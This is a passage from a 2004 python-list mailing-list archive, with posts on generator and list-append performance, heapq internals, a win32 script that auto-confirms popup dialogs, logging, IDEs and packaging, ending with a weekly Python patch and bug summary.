toolkit?  I was thinking of looking at PyQt.  Is there a better option?

Basically, I'm trying to make a case for Python to the other developers 
of this software package as I believe it offers numerous advantages over 
VB in terms of speed of development, a quick learning curve, and 
maintainability.  Can anyone help me make that case?

Thanks,
Aaron


From khaidarx at yahoo.com  Thu Sep 23 05:27:46 2004
From: khaidarx at yahoo.com (Abdullah Khaidar)
Date: 23 Sep 2004 02:27:46 -0700
Subject: Comparation to other languages
Message-ID: <d8025bdb.0409230127.369f63c3@posting.google.com>

I've read some language -include python- comparation texts
(benchmarks). But they are very old, so that I'm doubt about their
results. Does anyone know language comparation texts which compare
recent version of python -python 2.3- with some other languages?

M. Abdullah Khaidar
-- http://khaidarmak.blogspot.com


From aleaxit at yahoo.com  Sun Sep 26 05:47:03 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Sun, 26 Sep 2004 11:47:03 +0200
Subject: Question: How efficient is using generators for
	coroutine-like	problems?
References: <mailman.3801.1095959370.5135.python-list@python.org>
Message-ID: <1gkpx50.1rv6aq03ovbehN%aleaxit@yahoo.com>

Carlos Ribeiro <carribeiro at gmail.com> wrote:
   ...
>     result += ["Start of processing"]

I would suggest result.append('Start of processing').  As you're
concerned with performance, see...:

kallisti:~/cb alex$ python2.4 timeit.py -s'r=[]' 'r+=["goo"]'
1000000 loops, best of 3: 1.45 usec per loop
kallisti:~/cb alex$ python2.4 timeit.py -s'r=[]' 'r.append("goo")'
1000000 loops, best of 3: 0.953 usec per loop
kallisti:~/cb alex$ python2.4 timeit.py -s'r=[]; a=r.append' 'a("goo")'
1000000 loops, best of 3: 0.556 usec per loop

i.e. you can get result.append into a local once at the start and end up
almost 3 times faster than with your approach, but even without this
you're still gaining handsomely with good old result.append vs your
preferred approach (where a singleton list gets created each time).


> Now, just because I can do it does not mean it's a good idea :-) For
> particular cases, a measurement can be done. But I'm curious about the
> generic case. What is the performance penalty of using generators in
> situations as the ones shown above?

Sorry, there's no "generic case" that I can think of.  Since
implementations of generators, list appends, etc, are allowed to change
and get optimized at any transition 2.3 -> 2.4 -> 2.5 -> ... I see even
conceptually no way to compare performance except on a specific case.

"Generally" I would expect: if you're just looping on the result, a
generator should _gain_ performance wrt making a list.  Consider cr.py:

x = map(str, range(333))

def withapp(x=x):
    result = []
    a = result.append
    for item in x: a(item)
    return result

def withgen(x=x):
    for item in x: yield item

kallisti:~/cb alex$ python2.4 timeit.py -s'import cr' 'for x in
cr.withapp(): pass'
1000 loops, best of 3: 220 usec per loop
kallisti:~/cb alex$ python2.4 timeit.py -s'import cr' 'for x in
cr.withgen(): pass'
1000 loops, best of 3: 200 usec per loop

The difference is more pronounced in 2.3, with the generator clocking in
at 280 usec, the appends at 370 (anybody who's interested in speed has
hopefully already downloaded 2.4 and is busy trying it out -- I can't
see any reason why not... even though one obviously can't yet deliver to
customers stuff based on what's still an alpha release, of course, at
least one can TRY it and pine for its general speedups;-).

A join is different...:

kallisti:~/cb alex$ python2.4 timeit.py -s'import cr'
'"\n".join(cr.withgen())'
1000 loops, best of 3: 274 usec per loop
kallisti:~/cb alex$ python2.4 timeit.py -s'import cr'
'"\n".join(cr.withapp())'
1000 loops, best of 3: 225 usec per loop

(speed difference was less pronounced in 2.3, 360 vs 350).  Yeah, I
know, it's not easy to conceptualize -- if looping is faster why is
joining slower?  "Implementation details" of course, and just the kind
of thing that might change any time, if some nice free optimization can
be obtained hither or yon...!


Alex


From jfabiani at yolo.com  Fri Sep 17 14:08:19 2004
From: jfabiani at yolo.com (John Fabiani)
Date: Fri, 17 Sep 2004 18:08:19 GMT
Subject: Python Webstart ?
References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au>
	<pan.2004.09.17.13.52.16.705912@thomas-guettler.de>
	<c8E2d.16815$QJ3.1403@newssvr21.news.prodigy.com>
	<O7OdncbCX_O7gtbcRVn-vQ@giganews.com>
Message-ID: <nKF2d.16866$QJ3.7337@newssvr21.news.prodigy.com>

Istvan Albert wrote:

> John Fabiani wrote:
> 
>> Actually it's very useful.  In the Java world you can set a central
>> location
>> that a webstart program checks for possible updates.  It's very cool.
> 
> Only that it doesn't really work in practice. Read more here:
> 
> http://www.dynamicobjects.com/d2r/archives/2004_07_09.html
> 
> 
> Istvan
I agree it's not perfect - but I still think it's cool.  I have only one
site that is using webstart.  It took about a week to get everyone up to
speed and now it has worked like clock work for about a year.
John


From claird at lairds.us  Sat Sep 25 21:08:04 2004
From: claird at lairds.us (Cameron Laird)
Date: Sun, 26 Sep 2004 01:08:04 GMT
Subject: Wrapping Python ?
References: <INWdnakjH77cbcncRVn-ig@comcast.com>
	<g_GdnVVeza2_Z8ncRVn-sg@powergate.ca>
	<YImdncwyArIjXcjcRVn-og@comcast.com>
	<ol3h22-ilt.ln1@home.rogerbinns.com>
Message-ID: <33fh22-pfv.ln1@lairds.us>

In article <ol3h22-ilt.ln1 at home.rogerbinns.com>,
Roger Binns <rogerb at rogerbinns.com> wrote:
>USCode wrote:
>> subdirectory. From the Starkit website - "A Starkit creates the
>> illusion of a "file system in a file" - on the outside, it's a single
>> file, yet the application code continues to see a complete directory
>> of scripts, extensions, packages, images, and whatever other files it
>> needs."
>
>So what is done about shared libraries?  Python includes a number of
>shared libraries (dll/so), several of which can end up being needed, even
>by relatively simple apps.  On Windows, the Python interpretter itself
>is a shared library (python23.dll).  For a more non-trivial app such
>as my BitPim program, there are 45 libraries that end up needing to be
>packaged.  (A lot of this is because it is common practise to split
>larger packages such as wxPython and win32all into numerous independent
>sub-libraries).
>
>py2exe and tools like that (eg cx-Freeze) do package everything into
>one file, except the shared libraries are left as seperate files,
>and user files are as well (since you have to have seperate files
>anyway for the libraries).
>
>The problem with shared libraries is that they have to be seperate
>files for the OS to load them properly.  One variant of the McMillan
>installer effectively extracted them at run time, but that introduces
>a whole host of problems such as the user needing write permission to
>the filesystem, security (eg a shared /tmp), and that the libraries
>may not end up being shared between processes (due to being extracted
>to different locations for security reasons).
>
>I tried the demo (Fractal Mountains) and can't see how it deals with
>the shared library issue.
			.
			.
			.
Exactly:  taking care of shared libraries as you describe (I *think*
Starkits currently assume responsibility for writing 'em into the
real file system, and loading from there) (and, yes, I know that 
has security consequences) is one of Starkit's benefits.  Peter, it
really is neat beyond belief.


From erik at heneryd.com  Mon Sep 20 10:12:09 2004
From: erik at heneryd.com (Erik Heneryd)
Date: Mon, 20 Sep 2004 16:12:09 +0200
Subject: How to count lines in a text file ?
In-Reply-To: <20040920132748.GA13012@unununium.org>
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<20040920132748.GA13012@unununium.org>
Message-ID: <414EE539.7010900@heneryd.com>

Phil Frost wrote:
> another alternative is to use the standard posix program "wc" with the
> -l option, but this isn't Python.
> 

Not the same thing.  wc -l counts newline bytes, not "real" lines.


Erik


From squan at web.de  Thu Sep  2 05:44:03 2004
From: squan at web.de (Stefan Quandt)
Date: 2 Sep 2004 02:44:03 -0700
Subject: detecting boxes in windows using python
References: <a1e5746a.0409011857.6dc229d3@posting.google.com>
Message-ID: <ae5c48d7.0409020144.6ecec81d@posting.google.com>

bill.ramsay at clear.net.nz (bill ramsay) wrote in message news:<a1e5746a.0409011857.6dc229d3 at posting.google.com>...
I just wrote a comfortable solution for this purpose,
including logging to stdout.
The main functionality is in function ConfirmDialog()

Just copy code below to a python file and edit the PopupNames global
variable.

Prerequisite: You will have to install python windows extensions from
http://starship.python.net/crew/mhammond/

<code>
"""
Automatical confirmation of popup windows.
"""

from win32con import *
from win32api import *
from win32ui import *
from win32gui import GetClassName
from win32event import *
from time import time, ctime, sleep
import sys

# Captions (titles) of popup windows to confirm
# EDIT THIS
PopupNames = (
  'Error',
  'Information',
  'Install Dialler', # You better delete this line :-)
)

def GetWindowText( Window ):
  """
  Get text of all 'Static' elements of windows and return
concatenated.
  """
  Child, Text = None, ''
  while 1:
    try: Child = FindWindowEx( Window, Child, 'Static', None )
    except: break
    Text += '\n\t'.join( Child.GetWindowText().split( '\r' ) )
  return Text

def FindControl( Window, CName = 'OK', CType = 'Button' ):
  """
  Find control with name CName in Window
  
  @arg Window: Top level window
  @type Window: PyCWnd
  @arg CName: Control Name
  @type CName: string
  @arg CType: Control class
  @type CType: string
  @return Control
  @rtype: PyCwnd 
  """
  return FindWindowEx( Window, None, CType, CName )


def ConfirmDialog( Window, BName = None, Delay = 0.5 ):
  """
  Find button with name BName in Window and simulate a button
activation.
  
  @arg WName: Window Name
  @type WName: string
  @arg BName: Button Name
  @type BName: string
  @return: Button in case of success, negative error code else
  @rtype: PyCWnd
  """
  # Find Button
  Button = FindControl( Window, BName )  
  Button.SendMessage( BM_SETSTATE,  1, 0 )
  sleep( Delay )  # Window should show up at least for half a second.

  # Simulate button press to confirm window
  idButton = Button.GetDlgCtrlID()
  hButton = Button.GetSafeHwnd()
  Caption = Window.GetWindowText()
  Window.SendMessage( WM_COMMAND, MAKELONG( idButton, BN_CLICKED ),
hButton )

  print ctime( time() ), "Confirmed '%s'" %Caption
  return Button


if __name__ == '__main__':
  # Program parameters and options
  ConfDelay = 0.5
  if '-i' in sys.argv:
    ConfDelay = 0
    
  print ctime( time() ), "%s started" %sys.argv[ 0 ]
  
  while 1:
    for Name in PopupNames:
      try: Window = FindWindow( None, Name )
      except: continue

      # Extract text information from Popup (for logging).
      Message = GetWindowText( Window )  # Get message text before
window disappears

      ConfirmDialog( Window, 'OK', ConfDelay )
      
      if Message: print '\t' + Message
      break
    sleep( 1 )
</code>

Regards
  Stefan

> Dear all.
> 
> I am using an existing hodge-podge of an application that runs on top
> of an Access database.  This application dials up customer equipment, 
> handshakes then downloads/uploads various bits of information in the
> access database.
> 
> The original application is designed for some poor sod to sit there
> for hours and manually do the necessary.
> 
> I have automated various processes by 'back filling' the access
> database,  thereby fooling the application into doing what I want.
> 
> The problem that I have is that if the application comes across a busy
> signal, or if the call fails for what ever reason, it displays an
> error dialog box on the pc.  If there are a lot of these,  it causes
> the app to hang.
> 
> The underlying log files in the access database are still updated.
> 
> Is there a way in python to detect these dialog boxes,  then
> effectively close them?  either by pressing the boxes own close
> button, or the little cross thingy on the top right corner (i don't
> know what it is called).
> 
> The OS is win2k, latest service pack.
> 
> Any help that any of you can offer will be most greatfully received.
> 
> Kind regards
> 
> Bill


From godoy at ieee.org  Fri Sep 24 12:13:41 2004
From: godoy at ieee.org (Jorge Godoy)
Date: Fri, 24 Sep 2004 13:13:41 -0300
Subject: theme of the week: tools
References: <mailman.3802.1095960335.5135.python-list@python.org>
	<QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net>
	<mailman.3864.1096040439.5135.python-list@python.org>
Message-ID: <m37jqjfxvu.fsf@g2ctech.com>

Carlos Ribeiro <carribeiro at gmail.com> writes:

> I'm using Crimson Editor, a small freeware editor. The most
> interesting part is that it isn't the most featured of all editors
> I've tried; it isn't as powerful as vi or emacs, but has one feature
> that I wanted the most, that is a fairly simple project management
> tool. It simply allows me to organize a list of files that I'm using
> for a project on the left pane. I can click on a file to open it. It's
> amazingly useful when you're dealing with "hot" files stored on
> several different directories, and you don't have to remember where is
> it located, or to manually walk the open file dialog looking for it.

I'm an Emacs user, but you might try looking at http://ecb.sf.net as a
'plugin' to (X)Emacs.  It comes installed with XEmacs...

Also, I can't help with Windows.  I find that tools there are very poor
when compared to what we have on unices :-)


-- 
Godoy.     <godoy at ieee.org>


From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Sun Sep 26 08:11:07 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Sun, 26 Sep 2004 13:11:07 +0100
Subject: ANN: Logging Package v0.4.9.4 released
In-Reply-To: <2e37dc1.0409260220.6ad5cb6c@posting.google.com>
References: <2e37dc1.0409230442.7e74543d@posting.google.com>
	<4edc17eb.0409232031.66ad3d4e@posting.google.com>
	<2e37dc1.0409260220.6ad5cb6c@posting.google.com>
Message-ID: <cj6bku$qeh$1@pegasus.csx.cam.ac.uk>

Vinay Sajip wrote:

> What exactly is hard to use? An example of the minimalist way of
> logging:
> 
> import logging
> 
> logging.warn("This is your %s warning", "first")
> #similarly you can call logging.debug(), logging.info() etc.

Wow. I never realized you could do that. Apparently I'm not the only one.

I think it is mainly a problem with the documentation. My personal 
experience: I found that on the top-level logging module documentation 
there's about 2.5 pages of text that seems to go on and on in much more 
detail than I wanted for a simple use case. So I look for an example. 
Aha! There's a "basic example" page. But the "basic example" given in 
the docs has 7 lines of setup before I can even add something to the 
log. I always assumed that most of that was necessary.

I personally have found the logging module very useful when I have used 
it. Now that I know how easy it is to get access to the root logger I'll 
use it a lot more!
-- 
Michael Hoffman


From brenNOSPAMbarn at NObrenSPAMbarn.net  Sun Sep 26 13:32:24 2004
From: brenNOSPAMbarn at NObrenSPAMbarn.net (OKB (not okblacke))
Date: 26 Sep 2004 17:32:24 GMT
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org>
	<2rhjmpF1at3kjU1@uni-berlin.de>
	<864d3709040924070115d9d98a@mail.gmail.com>
	<mailman.3855.1096035438.5135.python-list@python.org>
	<Xns956EDE04B1B03OKB@130.133.1.4>
	<mailman.3907.1096136449.5135.python-list@python.org>
	<Xns956F822D03E24OKB@130.133.1.4>
	<18A862E6-0F37-11D9-B926-003065B11E84@leafe.com>
	<864d370904092515311da67bb6@mail.gmail.com>
	<mailman.3917.1096163923.5135.python-list@python.org>
	<Xns956FC698DBC7DOKB@130.133.1.4>
	<mailman.3925.1096201695.5135.python-list@python.org>
Message-ID: <Xns95706B302B81OKB@130.133.1.4>

Ed Leafe wrote:

>      Forgive me if this is an oversimplification, but it looks like
>      what 
> you want is an XML-based definition of your UI objects, and are
> trying to approximate that with Python syntax. 

    	You're partially right, I suppose, in that the usual structure of 
XML is more like this than the usual structure of Python code.  As 
Carlos mentioned, however, an important point (which I neglected to 
explicitly put into my example) is that if you're doing it in Python you 
can include actual Python code in the GUI definition.  I admit there's a 
certain attraction to totally separating the layout from the code by 
using XML (or whatever) to define the layout and then linking it up with 
Python code, but on the other hand it's confusing to have a button 
defined someplace and have what it does defined in a completely 
different place.

-- 
--OKB (not okblacke)
Brendan Barnwell
"Do not follow where the path may lead.  Go, instead, where there is
no path, and leave a trail."
	--author unknown


From jerf at jerf.org  Thu Sep 16 14:42:17 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Thu, 16 Sep 2004 18:42:17 GMT
Subject: Fwd: [Python-Dev] Strawman decision: @decorator won't change
References: <cibkl1$395$07$1@news.t-online.com>
Message-ID: <pan.2004.09.17.12.13.11.143566@jerf.org>

On Thu, 16 Sep 2004 10:59:12 +0200, Peter Otten wrote:
> Let's plan on doing the following. If in the next 7 days there's no
> indication that some group of users wants to rally for a different
> character, the decision to keep @ is made final on Sept 23. To change
> the character, somebody will need to start rallying for a different
> character, and be able to show signs of significant support by that
> date.

Hmmmm... what's the Unicode point for the Chinese ideogram closest in
meaning to "decorator"? Combines all the advantages of "one character"
with all the advantages of "descriptive keyword" all at once. 

What possible counter-arguments could be brought to bear?

All-the-keywords-should-be-Unicode-Chinese-ly yrs,
Jeremy Bowers


From peter at engcorp.com  Tue Sep 14 17:56:50 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Sep 2004 17:56:50 -0400
Subject: Ranting about the state of Python IDEs for Windows
In-Reply-To: <o_2dneOzsIpU_NrcRVn-sg@adelphia.com>
References: <mailman.3261.1095106220.5135.python-list@python.org>
	<656g254o.fsf@python.net> <7LudnZweyKXOoNrcRVn-sw@adelphia.com>
	<lrmdnUYdl8VVzNrcRVn-pA@powergate.ca>
	<o_2dneOzsIpU_NrcRVn-sg@adelphia.com>
Message-ID: <2pSdnfZLRey-9NrcRVn-rg@powergate.ca>

Rob McCrea wrote:

> Peter Hansen wrote:
>> As Thomas is, I'm very curious why you would say that.  
> 
> If moving to anything after win98se, I would (of course?) suggest XP, 
> but certainly not for a 500mHz with 64MB RAM.  "if it costs some 
> performance" is a huge understatement.   

Granted. :-)

> Maybe my personal summary is that there are only 
> two Windows operating systems, 98SE and XPPro; all the others have been 
> surpassed, IMHO.  

Agreed there too.  (And while I said XP, I did mean XP Pro.)

> and lastly did not mention the term "dos-box" (even if said 
> facetiously in regards to that certain perspective of mine), I can't 
> imagine I would have tossed out my two cent.

I happen to spend a lot of time at the "DOS" console (actually,
I suppose it's whatever cmd.exe is, not command.com, but for
purposes of this post the differences are largely irrelevant)
and don't find it particular limited.  That's almost entirely,
however, because I've learned to depend very little on the tools
that I use, for a number of reasons.

I now work almost exclusively with Scite, Subversion (via
TortoiseSVN), and the console, and I'm at least as productive as
I ever was with a large array of much fancier tools at my
fingertips.  But my approach to development is rather different
from that used by those who would prefer a fancy IDE, and as to that:
to each his own. :-)

Cheers,
-Peter


From tim.peters at gmail.com  Sun Sep  5 17:52:35 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 5 Sep 2004 17:52:35 -0400
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <1gjnodi.1tda7xkabfdo4N%aleaxit@yahoo.com>
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<mailman.2878.1094332489.5135.python-list@python.org>
	<1gjnodi.1tda7xkabfdo4N%aleaxit@yahoo.com>
Message-ID: <1f7befae0409051452932d18f@mail.gmail.com>

[Alex Martelli]
>> Note that Raymond Hettinger added efficient nlargest() and
>> nsmallest() functions to heapq for 2.4.  Because heapq implements
>> a min-heap, only nlargest() is really "natural" for this module, but
>> nsmallest() does what it can ...

[Tim Peters]
> Hmmm, am I reading this wrong...?  getting the min N times seems
> easy, wouldn't that be nsmallest...?

You're reading it right, but it's a bit paradoxical.  Suppose you want
the N extremes from an iterable of length M, and N is much smaller
than M, and you have a min-heap to work with.

If the extremes you want are the N largest, a min-heap of size N (not
M!) suffices to get them.  See the 2.4 code for details, but it's a
simple matter of keeping the N largest seen so far.  A min-heap is
perfect for that, because the smallest of the largest N seen so far is
the smallest element of the current heap, and "the smallest" is what a
min-heap delivers most efficiently.  So the main loop looks like

    sol = result[0]         # sol --> smallest of the nlargest
    for elem in it:
        if elem <= sol:
            continue
        _heapreplace(result, elem)
        sol = result[0]

where "result" contains (just) N elements, and the iterable doesn't
need to be materialized into a giant list first.  Even better, under
many input conditions, "elem <= sol" will usually be true, so the
inner loop is very fast.  Its worst case is when the iterable is in
sorted increasing order (and then "elem <= sol" is never true, and we
have to do _heapreplace each time).

If instead you want the N smallest, a heap of (much larger) size M is
the obvious way to do it, materializing the input iterable into a
giant list (of size M), heapify()'ing that, and then heappop()'ing N
times.  That's less efficient on all counts.

So, in fact, if N is much less than M, heapq.nsmallest() actually uses
a different approach -- one that doesn't use a heap at all!

>> ... what it can.  Neither works as a generator.  There are elegant
>> ways to implement mergesort as a cascade of (O(N)!) recursive
>> generators, but they're horrendously slow in comparison.

> Ouch, I _DID_ know I had to traipse more carefully through 2.4's
> sources... I had missed this ones!!!  Thanks, they're going into the
> appropriate recipes (in the Searching and Sorting chapter -- whose
> introduction you'll no doubt have to vastly rewrite, btw...) ASAP.

I look forward to it <wink>.  Just to be clear, there is no code in
2.4 to do mergesort via recursive generators.  nlargest() and
nsmallest() are there, and they're practical.

> heapq _should_ have reversed= like list.sort, to make a maxheap
> almost as easy as a minheap (and key= too of course), but that's
> another fight^H^H^H^H^H debate...

At that point I'd regret not making these things classes.  They were
meant to be simple.  Maybe fancier stuff can go in the new-in-2.4
collections module (which, again thanks to Raymond, has a new C-coded
deque type with constant-time insert and remove from both ends, and
regardless of access pattern (no "bad cases") -- and, e.g.,
Queue.Queue uses collections.deque as its container type now).

... [timing] ...

> And what about the heapsorts...?  It probably depends on what you
> mean by 'usually', but...:
>
> with s.py being:
> import heapq, random
> 
> def top3_heapq(s):
>    return heapq.nsmallest(3, s)
> 
> def top3_sort(s):
>    return sorted(s)[:3]
> 
> x1 = range(1000)
> random.shuffle(x1)
> 
> on my old-ish iBook with Python 2.4 alpha 3 I see...:
> 
> kallisti:~/cb/cha/sys/cba alex$ python ~/cb/timeit.py -s'import s' 's.top3_heapq(s.x1)'
> 1000 loops, best of 3: 656 usec per loop
> kallisti:~/cb/cha/sys/cba alex$ python ~/cb/timeit.py -s'import s' 's.top3_sort(s.x1)'
> 100 loops, best of 3: 4e+03 usec per loop

The heapq methods are practical (as you just demonstrated).  The
recursive-generator mergesorts really aren't.  Besides just the
overhead of Python, they've got the overhead of creating ~= len(list)
generators, suspending and resuming them incessantly.  By the time the
list is big enough to overcome all those time overheads, chances are
you'll start running out of RAM.


From kbk at shore.net  Fri Sep 17 00:14:02 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Fri, 17 Sep 2004 00:14:02 -0400 (EDT)
Subject: Weekly Python Patch/Bug Summary
Message-ID: <200409170414.i8H48pF8022459@h006008a7bda6.ne.client2.attbi.com>

Patch / Bug Summary
___________________

Patches :  241 open ( -6) /  2622 closed (+26) /  2863 total (+20)
Bugs    :  764 open ( +6) /  4453 closed (+38) /  5217 total (+44)
RFE     :  150 open ( +2) /   131 closed ( +0) /   281 total ( +2)

New / Reopened Patches
______________________

Use Py_CLEAR where necessary to avoid crashes  (2004-09-01)
       http://python.org/sf/1020188  reopened by  mwh

Decimal performance enhancements  (2004-09-02)
       http://python.org/sf/1020845  opened by  Nick Coghlan

topdir calculated incorrectly in bdist_rpm  (2004-09-03)
       http://python.org/sf/1022003  opened by  Anthony Tuininga

add support for the AutoReq flag in bdist_rpm  (2004-09-03)
       http://python.org/sf/1022011  opened by  Anthony Tuininga

Improve Template error detection and reporting  (2004-09-03)
CLOSED http://python.org/sf/1022173  opened by  Raymond Hettinger

test_random depends on os.urandom  (2004-09-03)
CLOSED http://python.org/sf/1022176  opened by  Raymond Hettinger

Conserve memory with list.pop()  (2004-09-06)
CLOSED http://python.org/sf/1022910  opened by  Raymond Hettinger

CodeContext - an extension to show you where you are  (2004-04-16)
       http://python.org/sf/936169  reopened by  noamr

Add arguments to RE functions  (2004-09-08)
CLOSED http://python.org/sf/1024041  opened by  Noam Raphael

Fix for 1022152   (2004-09-08)
CLOSED http://python.org/sf/1024238  opened by  Andrew Durdin

Error when int sent to PyLong_AsUnsignedLong  (2004-09-08)
       http://python.org/sf/1024670  opened by  Clinton R. Nixon

Check for NULL returns in compile.c:com_import_stmt  (2004-09-10)
       http://python.org/sf/1025636  opened by  Dima Dorfman

Add status code constants to httplib  (2004-09-10)
       http://python.org/sf/1025790  opened by  Andrew Eland

Clarify language in Data Structures chapter of tutorial  (2004-09-10)
CLOSED http://python.org/sf/1025795  opened by  Dima Dorfman

Fix TeX pasto in liboptparse.tex  (2004-09-10)
CLOSED http://python.org/sf/1025800  opened by  Dima Dorfman

typo repair  (2004-09-12)
CLOSED http://python.org/sf/1026384  opened by  George Yoshida

Add keyword arguments to Template substitutions  (2004-09-12)
CLOSED http://python.org/sf/1026859  opened by  Raymond Hettinger

building on OpenBSD 3.5  (2004-09-12)
CLOSED http://python.org/sf/1026986  opened by  Trevor Perrin

Specify a source baseurl for bdist_rpm.  (2004-09-15)
       http://python.org/sf/1028432  opened by  Chris Ottrey

Adding IPv6 host handling to httplib  (2004-09-15)
       http://python.org/sf/1028502  opened by  David Mills

Changes to cookielib.py & friends for 2.4b1  (2004-09-16)
       http://python.org/sf/1028908  opened by  John J Lee

tarfile.py longnames are truncated in getnames()  (2004-09-16)
       http://python.org/sf/1029061  opened by  Lars Gust?bel

Patches Closed
______________

Use Py_CLEAR where necessary to avoid crashes  (2004-09-01)
       http://python.org/sf/1020188  closed by  rhettinger

Py_CLEAR to implicitly cast its argument to PyObject *  (2004-09-01)
       http://python.org/sf/1020185  closed by  rhettinger

Implementation for PEP 318 using syntax J2  (2004-08-22)
       http://python.org/sf/1013835  closed by  ms_

fix for several sre escaping bugs (fixes #776311)  (2004-08-29)
       http://python.org/sf/1018386  closed by  niemeyer

Improve Template error detection and reporting  (2004-09-03)
       http://python.org/sf/1022173  closed by  rhettinger

test_random depends on os.urandom  (2004-09-03)
       http://python.org/sf/1022176  closed by  rhettinger

bsddb's DB.keys() method ignores transaction argument  (2004-08-26)
       http://python.org/sf/1017405  closed by  greg

Conserve memory with list.pop()  (2004-09-06)
       http://python.org/sf/1022910  closed by  rhettinger

PEP 292 reference implementation  (2004-03-23)
       http://python.org/sf/922115  closed by  bcannon

Multi-line strings and unittest  (2004-08-30)
       http://python.org/sf/1019220  closed by  purcell

Decoding incomplete unicode  (2004-07-27)
       http://python.org/sf/998993  closed by  doerwalter

Add arguments to RE functions  (2004-09-07)
       http://python.org/sf/1024041  closed by  rhettinger

Fix for 1022152   (2004-09-08)
       http://python.org/sf/1024238  closed by  jlgijsbers

Fix for duplicate attributes in generated HTML  (2004-08-20)
       http://python.org/sf/1013055  closed by  fdrake

Address bug 980938, add set_debug_output() function  (2004-07-03)
       http://python.org/sf/984492  closed by  jlgijsbers

make test_fcntl 64bit clean  (2003-09-13)
       http://python.org/sf/805626  closed by  loewis

NetBSD py_curses.h fix  (2003-09-15)
       http://python.org/sf/806800  closed by  loewis

Add script support to bdist_rpm.py  (2003-09-17)
       http://python.org/sf/808115  closed by  loewis

Add --force-arch=ARCH to bdist_rpm.py  (2003-09-17)
       http://python.org/sf/808120  closed by  loewis

Clarify language in Data Structures chapter of tutorial  (2004-09-10)
       http://python.org/sf/1025795  closed by  jlgijsbers

Fix TeX pasto in liboptparse.tex  (2004-09-10)
       http://python.org/sf/1025800  closed by  jlgijsbers

typo repair  (2004-09-11)
       http://python.org/sf/1026384  closed by  jlgijsbers

make Demo/scripts/primes.py usable as a module  (2004-01-04)
       http://python.org/sf/870286  closed by  jlgijsbers

reflect the removal of mpz  (2003-11-15)
       http://python.org/sf/842567  closed by  jlgijsbers

Add keyword arguments to Template substitutions  (2004-09-12)
       http://python.org/sf/1026859  closed by  bwarsaw

building on OpenBSD 3.5  (2004-09-13)
       http://python.org/sf/1026986  closed by  loewis

fix for glob with directories which contain brackets  (2003-05-15)
       http://python.org/sf/738389  closed by  progoth

New / Reopened Bugs
___________________

a wrong link from "frame object" in lib index  (2004-09-01)
CLOSED http://python.org/sf/1020540  opened by  Ilya Sandler

senddigest error  (2004-09-01)
       http://python.org/sf/1020605  opened by  James O'Kane

PyThreadState_Next not thread safe?  (2004-09-02)
       http://python.org/sf/1021318  opened by  John Ehresman

Trivial fix for obscure bug in os.urandom()  (2004-09-03)
       http://python.org/sf/1021596  opened by  Nick Mathewson

use first_name, not first, in code samples  (2004-09-02)
       http://python.org/sf/1021621  opened by  Steve R. Hastings

2.4a3: unhelpful error message from distutils  (2004-09-03)
       http://python.org/sf/1021756  opened by  Fredrik Lundh

Import random fails   (2004-09-03)
CLOSED http://python.org/sf/1021890  opened by  Paul D. Lusk

wrong options are set to python.exe  (2004-09-03)
       http://python.org/sf/1022010  reopened by  loewis

wrong options are set to python.exe  (2004-09-04)
CLOSED http://python.org/sf/1022010  opened by  George Yoshida

re.match(), re.MULTILINE and "^" broken  (2004-09-03)
CLOSED http://python.org/sf/1022030  opened by  Pat Notz

Bad examples of gettext.translation  (2004-09-03)
CLOSED http://python.org/sf/1022152  opened by  Facundo Batista

x, y in curses window object documentation  (2004-09-04)
       http://python.org/sf/1022311  opened by  Felix Wiemann

Solaris: reentrancy issues  (2004-08-29)
       http://python.org/sf/1018492  reopened by  loewis

test_xrange fails on osf1 v5.1b  (2004-09-06)
       http://python.org/sf/1022813  opened by  roadkill

random.shuffle should restrict the type of its argument   (2004-09-06)
CLOSED http://python.org/sf/1022880  opened by  Faheem Mitha

Generator exps fail with large value of range  (2004-09-06)
CLOSED http://python.org/sf/1022912  opened by  Andy Elvey

make test fails on HP-UX11i  (2004-09-06)
CLOSED http://python.org/sf/1022951  opened by  Richard Townsend

binascii.a2b_hqx("") raises SystemError  (2004-09-06)
CLOSED http://python.org/sf/1022953  opened by  Florian Bauer

Example does not match diagram.  (2004-09-06)
CLOSED http://python.org/sf/1023359  opened by  Nefarious CodeMonkey, Jr.

script which sets random.seed still returns random value  (2004-09-07)
CLOSED http://python.org/sf/1023453  opened by  Faheem Mitha

test__locale fails  (2004-09-07)
CLOSED http://python.org/sf/1023798  opened by  Michael Hudson

Include/pyport.h: Bad LONG_BIT assumption on non-glibc sys  (2004-09-07)
       http://python.org/sf/1023838  opened by  Gregor Richards

WinCVS doesn't recognize 2.4a3  (2004-09-08)
CLOSED http://python.org/sf/1024427  opened by  David W. Thomas

struct.calcsize() behaves strangely with short type  (2004-09-09)
CLOSED http://python.org/sf/1024669  opened by  Serafeim Zanikolas

shutils.rmtree() uses excessive amounts of memory  (2004-09-09)
       http://python.org/sf/1025127  opened by  James Henstridge

HTML Documentation for 2.4a3 not found  (2004-09-09)
       http://python.org/sf/1025392  opened by  Colin J. Williams

email.Utils.parseaddr fails to parse valid addresses  (2004-09-09)
       http://python.org/sf/1025395  opened by  Charles

asyncore.file_dispatcher should not take fd as argument  (2004-09-10)
       http://python.org/sf/1025525  opened by  david houlder

tkinter.py invalid number of parameter for _tkinet.create  (2004-09-10)
CLOSED http://python.org/sf/1025599  opened by  bertrandbfr

X to the power of 0 may give wrong answer  (2004-09-10)
CLOSED http://python.org/sf/1025872  opened by  Nick Coghlan

"ASCII" in doc section "String literals"  (2004-09-10)
CLOSED http://python.org/sf/1026038  opened by  Felix Wiemann

Confusing error message when subclassing from invalid base  (2004-09-11)
